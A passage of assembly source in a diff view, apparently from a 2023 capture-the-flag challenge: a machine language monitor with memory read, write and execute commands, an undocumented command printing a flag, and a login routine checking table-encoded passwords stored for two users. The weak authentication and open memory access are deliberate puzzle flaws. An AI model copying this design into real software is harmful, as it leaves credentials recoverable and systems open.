ldrb_r0_r3 |
||||
|
cp_r0 0 |
||||
|
jp_eq cmd_list_next |
||||
|
|
||||
|
# Store block |
||||
|
push_r3 |
||||
|
strb_r0 mem_data |
||||
|
inc_r3 |
||||
|
ldr_r0_r3 |
||||
|
|
||||
|
# Store size |
||||
|
push_r3 |
||||
|
str_r0 mem_addr |
||||
|
|
||||
|
# Print block and size |
||||
|
ld_r2 str_file_list_entry |
||||
|
call PrintStr |
||||
|
pop_r3 |
||||
|
|
||||
|
# Print filename |
||||
|
inc_r3 |
||||
|
inc_r3 |
||||
|
ld_r2_r3 |
||||
|
call PrintStr |
||||
|
ld_r0 '\n' |
||||
|
copr_putc |
||||
|
pop_r3 |
||||
|
|
||||
|
cmd_list_next: |
||||
|
add_r3 0x10 |
||||
|
cp_r3 mem_ef00 |
||||
|
jp_ne cmd_list_loop |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_undoc: |
||||
|
ld_r2 str_undoc |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_readfile: |
||||
|
ld_r2 str_prompt_filename |
||||
|
call PrintStr |
||||
|
|
||||
|
# Read directory |
||||
|
ld_r0 0 |
||||
|
ld_r1 mem_e000 |
||||
|
copr_readblk |
||||
|
|
||||
|
# Get filename to read |
||||
|
ld_r2 mem_efb0 |
||||
|
ld_r3 0x10 |
||||
|
call ReadStr |
||||
|
cp_r3 0 |
||||
|
jp_eq cmd_readfile_error_too_long |
||||
|
ld_r2 mem_efb0 |
||||
|
call StrTrim |
||||
|
|
||||
|
ld_r3 mem_e000 + 3 |
||||
|
cmd_readfile_loop: |
||||
|
# Check if the filename matches |
||||
|
ld_r2 mem_efb0 |
||||
|
push_r3 |
||||
|
call StrCmp |
||||
|
pop_r3 |
||||
|
cp_r0 0 |
||||
|
jp_eq cmd_readfile_match |
||||
|
|
||||
|
add_r3 0x10 |
||||
|
cp_r3 mem_ef00 + 3 |
||||
|
jp_eq cmd_readfile_error_not_found |
||||
|
jp cmd_readfile_loop |
||||
|
|
||||
|
cmd_readfile_match: |
||||
|
# Read file block |
||||
|
dec_r3 |
||||
|
dec_r3 |
||||
|
dec_r3 |
||||
|
ldrb_r0_r3 |
||||
|
|
||||
|
# Read file size |
||||
|
inc_r3 |
||||
|
ldr_r1_r3 |
||||
|
|
||||
|
# Read file into memory |
||||
|
push_r1 |
||||
|
ld_r1 mem_e000 |
||||
|
copr_readblk |
||||
|
|
||||
|
# Prompt for address to write to |
||||
|
ld_r2 str_prompt_address |
||||
|
call PrintStr |
||||
|
ld_r2 mem_efe0 |
||||
|
ld_r3 0x10 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_efe0 |
||||
|
call ConvertHex |
||||
|
pop_r1 |
||||
|
cp_r0 -1 |
||||
|
jp_eq cmd_readfile_error_invalid_input |
||||
|
|
||||
|
# Copy the data |
||||
|
ld_r2_r0 |
||||
|
ld_r3 mem_e000 |
||||
|
call MemCpy |
||||
|
|
||||
|
ld_r2 str_loaded |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_readfile_error_not_found: |
||||
|
ld_r2 str_error_not_found |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_readfile_error_too_long: |
||||
|
ld_r2 str_error_too_long |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_readfile_error_invalid_input: |
||||
|
ld_r2 str_error_invalid_input |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
str_intro: |
||||
|
.ascii "======================================================================\n" |
||||
|
.ascii "Welcome to Glitch Research Laboratory Network: Test Server 1 (GRLTS01)\n" |
||||
|
.ascii "======================================================================\n" |
||||
|
.ascii "GRLTS01 is intended for research purposes only, to aid our engineers\n" |
||||
|
.ascii "in migrating their software to the latest GLVM architecture.\n" |
||||
|
.ascii "This server will boot into a machine language monitor, providing\n" |
||||
|
.ascii "a simple environment for development and testing.\n" |
||||
|
.ascii "\n" |
||||
|
.ascii "Note that this server is publicly accessible, and thus, should never\n" |
||||
|
.ascii "be used to store any confidential information. If storage of data is\n" |
||||
|
.ascii "necessary, consider utilizing encryption, or using our dedicated\n" |
||||
|
.ascii "storage servers GRLFS01.\n" |
||||
|
.ascii "Additionally, consider using GRLTS02 for any serious work - it's\n" |
||||
|
.ascii "an authenticated test server, which should be far more secure.\n" |
||||
|
.ascii "======================================================================\n" |
||||
|
.ascii "Running machine language monitor now.\n" |
||||
|
.ascii "======================================================================\n" |
||||
|
.ascii "\n\0" |
||||
|
|
||||
|
str_error_too_long: |
||||
|
.ascii "! Input too long error.\n\0" |
||||
|
|
||||
|
str_error_bad_command: |
||||
|
.ascii "! Bad command error (h for help).\n\0" |
||||
|
|
||||
|
str_error_invalid_input: |
||||
|
.ascii "! Invalid input error.\n\0" |
||||
|
|
||||
|
str_prompt_address: |
||||
|
.ascii "> Which address? \0" |
||||
|
|
||||
|
str_prompt_lines: |
||||
|
.ascii "> How many lines? \0" |
||||
|
|
||||
|
str_prompt_exec: |
||||
|
.ascii "> Really exec at " |
||||
|
text_ram_word mem_addr |
||||
|
.ascii "? Type Y if so: \0" |
||||
|
|
||||
|
str_error_cancelled: |
||||
|
.ascii "! Cancelled action error.\n\0" |
||||
|
|
||||
|
str_continuing: |
||||
|
.ascii "Continuing.\n\0" |
||||
|
|
||||
|
str_loaded: |
||||
|
.ascii "Loaded.\n\0" |
||||
|
|
||||
|
str_dry_stack: |
||||
|
.ascii "! Dry stack. Halting machine.\n\0" |
||||
|
|
||||
|
str_prompt_filename: |
||||
|
.ascii "> Filename? \0" |
||||
|
|
||||
|
str_error_not_found: |
||||
|
.ascii "! File not found error.\n\0" |
||||
|
|
||||
|
str_prompt_hex: |
||||
|
.ascii "> Enter hex data. End with dot \".\" + newline:\n\0" |
||||
|
|
||||
|
str_undoc: |
||||
|
.ascii "Wow, undocumented monitor command! FOOLS2023_{Secret" |
||||
|
text_ram_word 0xe000 |
||||
|
.ascii "x" |
||||
|
text_ram_word 0xe001 |
||||
|
.ascii "Command}\n\0" |
||||
|
|
||||
|
str_help: |
||||
|
.ascii "Available commands:\n" |
||||
|
.ascii "r :: print memory as hex\n" |
||||
|
.ascii "p :: print memory as text\n" |
||||
|
.ascii "w :: write hex data to memory\n" |
||||
|
.ascii "x :: execute memory\n" |
||||
|
.ascii "rf :: load memory from file\n" |
||||
|
.ascii "ls :: print file index\n" |
||||
|
.ascii "h :: print this help message\n" |
||||
|
.ascii "c :: exit monitor and continue\n" |
||||
|
.ascii "Please enter hex numbers when prompted.\n" |
||||
|
.ascii "If necessary for debugging, you can break into monitor\n" |
||||
|
.ascii "with instruction BRK (0x00) and continue with 'c'\n" |
||||
|
.ascii "Note: memory region E000-FFFF is used by monitor\n\0" |
||||
|
|
||||
|
str_file_list_header: |
||||
|
.ascii "BLK SIZE NAME\n" |
||||
|
.ascii "=======================\n\0" |
||||
|
|
||||
|
str_file_list_entry: |
||||
|
text_ram_byte mem_data |
||||
|
.ascii " " |
||||
|
text_ram_word mem_addr |
||||
|
.ascii " \0" # 0xfa97 |
||||
|
|
||||
|
str_ready: |
||||
|
.ascii "Ready.\n" |
||||
|
.ascii "> \0" |
||||
|
|
||||
|
str_breakpoint: |
||||
|
.ascii "*** BREAK INTO MONITOR AT $" |
||||
|
text_ram_word mem_info_pc |
||||
|
.ascii " ***\n" |
||||
|
.ascii "R0=$" |
||||
|
text_ram_word mem_save_r0 |
||||
|
.ascii " R1=$" |
||||
|
text_ram_word mem_save_r1 |
||||
|
.ascii " R2=$" |
||||
|
text_ram_word mem_save_r2 |
||||
|
.ascii " R3=$" |
||||
|
text_ram_word mem_save_r3 |
||||
|
.ascii "\n" |
||||
|
.ascii "SP=$" |
||||
|
text_ram_word mem_info_sp |
||||
|
.ascii " [" |
||||
|
text_ram_byte mem_info_stack + 0 |
||||
|
text_ram_byte mem_info_stack + 1 |
||||
|
text_ram_byte mem_info_stack + 2 |
||||
|
text_ram_byte mem_info_stack + 3 |
||||
|
text_ram_byte mem_info_stack + 4 |
||||
|
text_ram_byte mem_info_stack + 5 |
||||
|
text_ram_byte mem_info_stack + 6 |
||||
|
text_ram_byte mem_info_stack + 7 |
||||
|
text_ram_byte mem_info_stack + 8 |
||||
|
text_ram_byte mem_info_stack + 9 |
||||
|
text_ram_byte mem_info_stack + 10 |
||||
|
text_ram_byte mem_info_stack + 11 |
||||
|
.ascii "]\n\0" |
||||
|
|
||||
|
str_hexdump: |
||||
|
text_ram_word mem_addr |
||||
|
.ascii " | " |
||||
|
text_ram_byte mem_data + 0 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 1 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 2 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 3 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 4 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 5 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 6 |
||||
|
.ascii " " |
||||
|
text_ram_byte mem_data + 7 |
||||
|
.ascii "\n\0" |
||||
|
|
||||
|
mem_save_r0: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_save_r1: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_save_r2: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_save_r3: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_info_sp: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_info_pc: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_info_stack: |
||||
|
.fill 12 |
||||
|
|
||||
|
mem_data: |
||||
|
.fill 8 |
||||
|
|
||||
|
mem_addr: |
||||
|
.2byte 0 |
||||
|
|
||||
|
.fill 0xf00 - (. - _start) |
||||
|
stack: |
||||
|
.fill 0xf0 |
||||
|
|
||||
|
entry: |
||||
|
.fill 0x10 |
@ -0,0 +1,871 @@ |
|||||
|
.include "instr.inc" |
||||
|
.text |
||||
|
|
||||
|
mem_e000: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_e002: |
||||
|
.fill 0x0efe |
||||
|
|
||||
|
mem_ef00: |
||||
|
.fill 0xb0 |
||||
|
|
||||
|
mem_efb0: |
||||
|
.fill 0x30 |
||||
|
|
||||
|
mem_efe0: |
||||
|
.fill 0x20 |
||||
|
|
||||
|
.global _start |
||||
|
_start: |
||||
|
ld_sp stack |
||||
|
|
||||
|
# Set up the entrypoint for the breakpoint instruction |
||||
|
ld_r0 entry |
||||
|
ld_r1 0x98 # 'call' |
||||
|
strb_r1_r0 |
||||
|
inc_r0 |
||||
|
ld_r1 main |
||||
|
str_r1_r0 |
||||
|
|
||||
|
# Explain the debugger |
||||
|
ld_r2 str_intro |
||||
|
call PrintStr |
||||
|
|
||||
|
auth_user: |
||||
|
# Gather the username |
||||
|
ld_r2 str_prompt_user |
||||
|
call PrintStr |
||||
|
ld_r3 0x10 |
||||
|
ld_r2 mem_input_user |
||||
|
call ReadStr |
||||
|
|
||||
|
ld_r2 database |
||||
|
auth_user_loop: |
||||
|
# Check if we've reached the end of the database |
||||
|
ldrb_r0_r2 |
||||
|
cp_r0 0 |
||||
|
jp_eq error_incorrect_user |
||||
|
|
||||
|
# Check if the username matches the current entry |
||||
|
ld_r3 mem_input_user |
||||
|
push_r2 |
||||
|
call StrCmp |
||||
|
pop_r2 |
||||
|
cp_r0 0 |
||||
|
jp_eq auth_pass |
||||
|
|
||||
|
# Next entry |
||||
|
add_r2 0x50 |
||||
|
jp auth_user_loop |
||||
|
|
||||
|
auth_pass: |
||||
|
# Grab the password field |
||||
|
add_r2 0x10 |
||||
|
push_r2 |
||||
|
call delay_input |
||||
|
|
||||
|
# Gather the password |
||||
|
ld_r2 str_prompt_pass |
||||
|
call PrintStr |
||||
|
ld_r3 0x30 |
||||
|
ld_r2 mem_input_pass |
||||
|
call ReadStr |
||||
|
call delay_input |
||||
|
|
||||
|
# Load the ENCTABLE.BIN file |
||||
|
ld_r0 1 |
||||
|
ld_r1 0xc000 |
||||
|
copr_readblk |
||||
|
|
||||
|
# r2 = encoded pass |
||||
|
# r3 = input pass |
||||
|
pop_r2 |
||||
|
ld_r3 mem_input_pass |
||||
|
auth_pass_loop: |
||||
|
push_r3 |
||||
|
|
||||
|
# b = *(0xc000 + *input) |
||||
|
ld_r1 0xc000 |
||||
|
ldrb_r0_r3 |
||||
|
add_r1_r0 |
||||
|
ld_r3 0 |
||||
|
ldrb_r0_r1 |
||||
|
add_r3_r0 |
||||
|
|
||||
|
# b += *(0xc100 + *input) |
||||
|
add_r1 0x100 |
||||
|
ldrb_r0_r1 |
||||
|
add_r3_r0 |
||||
|
|
||||
|
# b += *(0xc200 + *input) |
||||
|
add_r1 0x100 |
||||
|
ldrb_r0_r1 |
||||
|
add_r3_r0 |
||||
|
|
||||
|
# b += *(0xc300 + *input) |
||||
|
add_r1 0x100 |
||||
|
ldrb_r0_r1 |
||||
|
add_r3_r0 |
||||
|
|
||||
|
# b &= 0xff |
||||
|
ld_r0_r3 |
||||
|
and_r0 0xff |
||||
|
|
||||
|
ldrb_r1_r2 |
||||
|
cp_r0_r1 |
||||
|
jp_ne error_incorrect_pass |
||||
|
pop_r3 |
||||
|
|
||||
|
call rotate_enctable |
||||
|
inc_r2 |
||||
|
inc_r3 |
||||
|
ldrb_r0_r2 |
||||
|
cp_r0 0 |
||||
|
jp_eq auth_success |
||||
|
jp auth_pass_loop |
||||
|
|
||||
|
auth_success: |
||||
|
ld_r2 str_login_success |
||||
|
call PrintStr |
||||
|
|
||||
|
# Execute the breakpoint, jump to main |
||||
|
brk |
||||
|
|
||||
|
# If breakpoint returns here, we've ran out of stack |
||||
|
ld_r2 str_dry_stack |
||||
|
call PrintStr |
||||
|
copr_halt |
||||
|
die: |
||||
|
jp die |
||||
|
|
||||
|
error_incorrect_user: |
||||
|
call delay_input |
||||
|
ld_r2 str_incorrect_user |
||||
|
call PrintStr |
||||
|
jp auth_user |
||||
|
|
||||
|
error_incorrect_pass: |
||||
|
ld_r2 str_incorrect_pass |
||||
|
call PrintStr |
||||
|
jp auth_user |
||||
|
|
||||
|
rotate_enctable: |
||||
|
ldrb_r0 0xc000 |
||||
|
strb_r0 rotate_enctable_temp + 0 |
||||
|
ldrb_r0 0xc100 |
||||
|
strb_r0 rotate_enctable_temp + 1 |
||||
|
ldrb_r0 0xc200 |
||||
|
strb_r0 rotate_enctable_temp + 2 |
||||
|
ldrb_r0 0xc300 |
||||
|
strb_r0 rotate_enctable_temp + 3 |
||||
|
ld_r1 0xc000 |
||||
|
|
||||
|
rotate_enctable_loop: |
||||
|
inc_r1 |
||||
|
ldrb_r0_r1 |
||||
|
dec_r1 |
||||
|
strb_r0_r1 |
||||
|
inc_r1 |
||||
|
cp_r1 0xc3ff |
||||
|
jp_ne rotate_enctable_loop |
||||
|
|
||||
|
ldrb_r0 rotate_enctable_temp + 0 |
||||
|
strb_r0 0xc0ff |
||||
|
ldrb_r0 rotate_enctable_temp + 1 |
||||
|
strb_r0 0xc1ff |
||||
|
ldrb_r0 rotate_enctable_temp + 2 |
||||
|
strb_r0 0xc2ff |
||||
|
ldrb_r0 rotate_enctable_temp + 3 |
||||
|
strb_r0 0xc3ff |
||||
|
ret |
||||
|
|
||||
|
rotate_enctable_temp: |
||||
|
.fill 4 |
||||
|
|
||||
|
delay_input: |
||||
|
push_r2 |
||||
|
ld_r2 str_please_wait |
||||
|
call PrintStr |
||||
|
pop_r2 |
||||
|
|
||||
|
ld_r0 0x3fff |
||||
|
delay_input_loop: |
||||
|
nop |
||||
|
nop |
||||
|
nop |
||||
|
nop |
||||
|
nop |
||||
|
nop |
||||
|
nop |
||||
|
dec_r0 |
||||
|
cp_r0 0 |
||||
|
jp_ne delay_input_loop |
||||
|
ret |
||||
|
|
||||
|
database: |
||||
|
.fill 0x00 - (. - database) |
||||
|
.ascii "ax.arwen\0" |
||||
|
.fill 0x10 - (. - database) |
||||
|
.byte 0xc6, 0x44, 0x99, 0xe3, 0xe9, 0x19, 0x0d, 0x07, 0x0d, 0x12, 0x79 |
||||
|
|
||||
|
.fill 0x50 - (. - database) |
||||
|
.ascii "sbw.shadow\0" |
||||
|
.fill 0x60 - (. - database) |
||||
|
.byte 0xe9, 0x22, 0xd8, 0x7c, 0x3c, 0x07, 0x54, 0x2d |
||||
|
.byte 0x5e, 0x53, 0x6a, 0xff, 0x80, 0x5e, 0xcd, 0xc8 |
||||
|
.byte 0xcf, 0xff, 0x44, 0x74, 0xc8, 0xd8, 0x4b |
||||
|
|
||||
|
.fill 0xbd - (. - database) |
||||
|
|
||||
|
mem_input_user: |
||||
|
.ascii "________________\0" |
||||
|
|
||||
|
mem_input_pass: |
||||
|
.ascii "________________________________________________________________\0" |
||||
|
|
||||
|
str_prompt_user: |
||||
|
.ascii "Username: \0" |
||||
|
|
||||
|
str_prompt_pass: |
||||
|
.ascii ">> Username OK. Password required\n" |
||||
|
.ascii "Password: \0" |
||||
|
|
||||
|
str_please_wait: |
||||
|
.ascii ">> Please wait...\n\0" |
||||
|
|
||||
|
str_incorrect_user: |
||||
|
.ascii ">> User not found in database.\n\0" |
||||
|
|
||||
|
str_incorrect_pass: |
||||
|
.ascii ">> Password is incorrect.\n\0" |
||||
|
|
||||
|
str_login_success: |
||||
|
.ascii ">> Login successful.\n" |
||||
|
.ascii "======================================================================\n" |
||||
|
.ascii "Running machine language monitor now.\n" |
||||
|
.ascii "======================================================================\n" |
||||
|
.ascii "\n\0" |
||||
|
|
||||
|
main: |
||||
|
# Save all the registers |
||||
|
push_sp |
||||
|
str_r0 mem_save_r0 |
||||
|
str_r1 mem_save_r1 |
||||
|
str_r2 mem_save_r2 |
||||
|
str_r3 mem_save_r3 |
||||
|
|
||||
|
# Store the stack pointer |
||||
|
pop_r0 |
||||
|
str_r0 mem_info_sp |
||||
|
|
||||
|
# Read the return address |
||||
|
ld_r0_sp |
||||
|
ldr_r0_r0 |
||||
|
add_r0 -1 |
||||
|
str_r0 mem_info_pc |
||||
|
|
||||
|
# Read some more stack values |
||||
|
ld_r1 (6 * 2) |
||||
|
ld_r2 mem_info_stack |
||||
|
ldr_r3 mem_info_sp |
||||
|
call MemCpy |
||||
|
|
||||
|
# Print the processor state |
||||
|
ld_r2 str_breakpoint |
||||
|
call PrintStr |
||||
|
|
||||
|
main_cmd_loop: |
||||
|
ld_r0 0 |
||||
|
strb_r0 mem_e002 |
||||
|
|
||||
|
ld_r2 str_ready |
||||
|
call PrintStr |
||||
|
|
||||
|
# Read input |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
cp_r3 0 |
||||
|
jp_eq error_too_long |
||||
|
ld_r2 mem_e000 |
||||
|
call StrTrim |
||||
|
|
||||
|
# Make sure the input is at most 2 characters |
||||
|
ldrb_r0 mem_e002 |
||||
|
cp_r0 0 |
||||
|
jp_ne error_bad_command |
||||
|
|
||||
|
# Parse all the commands |
||||
|
ldr_r0 mem_e000 |
||||
|
|
||||
|
cp_r0 ('h' + '\n' * 0x100) |
||||
|
jp_eq cmd_help |
||||
|
cp_r0 'h' |
||||
|
jp_eq cmd_help |
||||
|
|
||||
|
cp_r0 'r' |
||||
|
jp_eq cmd_read |
||||
|
cp_r0 ('r' + '\n' * 0x100) |
||||
|
jp_eq cmd_read |
||||
|
|
||||
|
cp_r0 'p' |
||||
|
jp_eq cmd_print |
||||
|
cp_r0 ('p' + '\n' * 0x100) |
||||
|
jp_eq cmd_print |
||||
|
|
||||
|
cp_r0 'x' |
||||
|
jp_eq cmd_exec |
||||
|
cp_r0 ('x' + '\n' * 0x100) |
||||
|
jp_eq cmd_exec |
||||
|
|
||||
|
cp_r0 'c' |
||||
|
jp_eq cmd_cont |
||||
|
cp_r0 ('c' + '\n' * 0x100) |
||||
|
jp_eq cmd_cont |
||||
|
|
||||
|
cp_r0 ('U' + 'C' * 0x100) |
||||
|
jp_eq cmd_undoc |
||||
|
|
||||
|
cp_r0 ('l' + 's' * 0x100) |
||||
|
jp_eq cmd_list |
||||
|
|
||||
|
cp_r0 ('r' + 'f' * 0x100) |
||||
|
jp_eq cmd_readfile |
||||
|
|
||||
|
cp_r0 'w' |
||||
|
jp_eq cmd_write |
||||
|
cp_r0 ('w' + '\n' * 0x100) |
||||
|
jp_eq cmd_write |
||||
|
|
||||
|
error_bad_command: |
||||
|
ld_r2 str_error_bad_command |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
error_too_long: |
||||
|
ld_r2 str_error_too_long |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_help: |
||||
|
ld_r2 str_help |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_read: |
||||
|
# Get the address to read |
||||
|
ld_r2 str_prompt_address |
||||
|
call PrintStr |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_e000 |
||||
|
call ConvertHex |
||||
|
cp_r0 -1 |
||||
|
jp_eq cmd_read_invalid |
||||
|
push_r0 |
||||
|
|
||||
|
# Get the amount of lines to read |
||||
|
ld_r2 str_prompt_lines |
||||
|
call PrintStr |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_e000 |
||||
|
call ConvertHex |
||||
|
cp_r0 -1 |
||||
|
jp_eq cmd_read_invalid |
||||
|
cp_r0 0 |
||||
|
jp_eq cmd_read_invalid |
||||
|
|
||||
|
# r2 = address, r3 = lines |
||||
|
ld_r3_r0 |
||||
|
pop_r2 |
||||
|
|
||||
|
cmd_read_loop: |
||||
|
# Read 8 bytes |
||||
|
push_r2 |
||||
|
push_r3 |
||||
|
ld_r1 8 |
||||
|
ld_r3_r2 |
||||
|
ld_r2 mem_data |
||||
|
call MemCpy |
||||
|
pop_r3 |
||||
|
pop_r2 |
||||
|
|
||||
|
# Store the current read address |
||||
|
str_r2 mem_addr |
||||
|
|
||||
|
# Write it out |
||||
|
push_r2 |
||||
|
push_r3 |
||||
|
ld_r2 str_hexdump |
||||
|
call PrintStr |
||||
|
pop_r3 |
||||
|
pop_r2 |
||||
|
|
||||
|
# Check if we're done |
||||
|
add_r2 8 |
||||
|
dec_r3 |
||||
|
cp_r3 0 |
||||
|
jp_ne cmd_read_loop |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_read_invalid: |
||||
|
ld_r2 str_error_invalid_input |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_write: |
||||
|
# Get the address to write |
||||
|
ld_r2 str_prompt_address |
||||
|
call PrintStr |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_e000 |
||||
|
call ConvertHex |
||||
|
cp_r0 -1 |
||||
|
jp_eq cmd_write_invalid |
||||
|
str_r0 mem_addr |
||||
|
|
||||
|
ld_r2 str_prompt_hex |
||||
|
call PrintStr |
||||
|
|
||||
|
cmd_write_loop: |
||||
|
# Clear the buffer |
||||
|
ld_r3 mem_e000 + 2 |
||||
|
ld_r0 0 |
||||
|
strb_r0_r3 |
||||
|
dec_r3 |
||||
|
strb_r0_r3 |
||||
|
dec_r3 |
||||
|
|
||||
|
cmd_write_loop_first: |
||||
|
# Get the first nybble |
||||
|
copr_getc |
||||
|
strb_r0_r3 |
||||
|
ld_r2_r3 |
||||
|
|
||||
|
# Check if it's the end or invalid |
||||
|
cp_r0 '.' |
||||
|
jp_eq cmd_write_end |
||||
|
cp_r0 '\n' |
||||
|
jp_eq cmd_write_loop_first |
||||
|
|
||||
|
# Try to convert the nybble |
||||
|
push_r3 |
||||
|
call ConvertHex |
||||
|
pop_r3 |
||||
|
cp_r0 -1 |
||||
|
jp_eq cmd_write_loop_first |
||||
|
|
||||
|
inc_r3 |
||||
|
|
||||
|
cmd_write_loop_second: |
||||
|
# Get the second nybble |
||||
|
copr_getc |
||||
|
strb_r0_r3 |
||||
|
ld_r2_r3 |
||||
|
|
||||
|
# Check if it's the end or invalid |
||||
|
cp_r0 '.' |
||||
|
jp_eq cmd_write_end |
||||
|
cp_r0 '\n' |
||||
|
jp_eq cmd_write_loop_second |
||||
|
|
||||
|
# Try to convert the nybble |
||||
|
push_r3 |
||||
|
call ConvertHex |
||||
|
pop_r3 |
||||
|
cp_r0 -1 |
||||
|
jp_eq cmd_write_loop_second |
||||
|
|
||||
|
# Convert and store the full byte |
||||
|
dec_r3 |
||||
|
ld_r2_r3 |
||||
|
call ConvertHex |
||||
|
ldr_r1 mem_addr |
||||
|
strb_r0_r1 |
||||
|
inc_r1 |
||||
|
str_r1 mem_addr |
||||
|
jp cmd_write_loop # 0xf1d0 |
||||
|
|
||||
|
cmd_write_end: |
||||
|
# Read until newline |
||||
|
copr_getc |
||||
|
cp_r0 '\n' |
||||
|
jp_ne cmd_write_end |
||||
|
|
||||
|
ld_r2 str_loaded |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_write_invalid: |
||||
|
ld_r2 str_error_invalid_input |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_print: |
||||
|
# Get the string to print |
||||
|
ld_r2 str_prompt_address |
||||
|
call PrintStr |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_e000 |
||||
|
call ConvertHex |
||||
|
|
||||
|
ld_r2_r0 |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_exec: |
||||
|
# Get the address to execute |
||||
|
ld_r2 str_prompt_address |
||||
|
call PrintStr |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_e000 |
||||
|
call ConvertHex |
||||
|
|
||||
|
# Prompt the user to execute the address |
||||
|
push_r0 |
||||
|
str_r0 mem_addr |
||||
|
ld_r2 str_prompt_exec |
||||
|
call PrintStr |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
ldrb_r0 mem_e000 |
||||
|
cp_r0 'Y' |
||||
|
jp_eq cmd_exec_go |
||||
|
cp_r0 'y' |
||||
|
jp_eq cmd_exec_go |
||||
|
|
||||
|
# Cancel the call |
||||
|
ld_r2 str_error_cancelled |
||||
|
call PrintStr |
||||
|
pop_r0 |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_exec_go: |
||||
|
# Call the function |
||||
|
pop_r3 |
||||
|
call_r3 |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_cont: |
||||
|
ld_r2 str_continuing |
||||
|
call PrintStr |
||||
|
|
||||
|
# Restore register state and unpause |
||||
|
ldr_r0 mem_save_r0 |
||||
|
ldr_r1 mem_save_r1 |
||||
|
ldr_r2 mem_save_r2 |
||||
|
ldr_r3 mem_save_r3 |
||||
|
ret |
||||
|
|
||||
|
cmd_list: |
||||
|
ld_r2 str_file_list_header |
||||
|
call PrintStr |
||||
|
|
||||
|
# Read directory |
||||
|
ld_r0 0 |
||||
|
ld_r1 mem_e000 |
||||
|
copr_readblk |
||||
|
|
||||
|
ld_r3 mem_e000 |
||||
|
cmd_list_loop: |
||||
|
ldrb_r0_r3 |
||||
|
cp_r0 0 |
||||
|
jp_eq cmd_list_next |
||||
|
|
||||
|
# Store block |
||||
|
push_r3 |
||||
|
strb_r0 mem_data |
||||
|
inc_r3 |
||||
|
ldr_r0_r3 |
||||
|
|
||||
|
# Store size |
||||
|
push_r3 |
||||
|
str_r0 mem_addr |
||||
|
|
||||
|
# Print block and size |
||||
|
ld_r2 str_file_list_entry |
||||
|
call PrintStr |
||||
|
pop_r3 |
||||
|
|
||||
|
# Print filename |
||||
|
inc_r3 |
||||
|
inc_r3 |
||||
|
ld_r2_r3 |
||||
|
call PrintStr |
||||
|
ld_r0 '\n' |
||||
|
copr_putc |
||||
|
pop_r3 |
||||
|
|
||||
|
cmd_list_next: |
||||
|
add_r3 0x10 |
||||
|
cp_r3 mem_ef00 |
||||
|
jp_ne cmd_list_loop |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_undoc: |
||||
|
ld_r2 str_undoc |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_readfile: |
||||
|
ld_r2 str_prompt_filename |
||||
|
call PrintStr |
||||
|
|
||||
|
# Read directory |
||||
|
ld_r0 0 |
||||
|
ld_r1 mem_e000 |
||||
|
copr_readblk |
||||
|
|
||||
|
# Get filename to read |
||||
|
ld_r2 mem_efb0 |
||||
|
ld_r3 0x10 |
||||
|
call ReadStr |
||||
|
cp_r3 0 |
||||
|
jp_eq cmd_readfile_error_too_long |
||||
|
ld_r2 mem_efb0 |
||||
|
call StrTrim |
||||
|
|
||||
|
ld_r3 mem_e000 + 3 |
||||
|
cmd_readfile_loop: |
||||
|
# Check if the filename matches |
||||
|
ld_r2 mem_efb0 |
||||
|
push_r3 |
||||
|
call StrCmp |
||||
|
pop_r3 |
||||
|
cp_r0 0 |
||||
|
jp_eq cmd_readfile_match |
||||
|
|
||||
|
add_r3 0x10 |
||||
|
cp_r3 mem_ef00 + 3 |
||||
|
jp_eq cmd_readfile_error_not_found |
||||
|
jp cmd_readfile_loop |
||||
|
|
||||
|
cmd_readfile_match: |
||||
|
# Read file block |
||||
|
dec_r3 |
||||
|
dec_r3 |
||||
|
dec_r3 |
||||
|
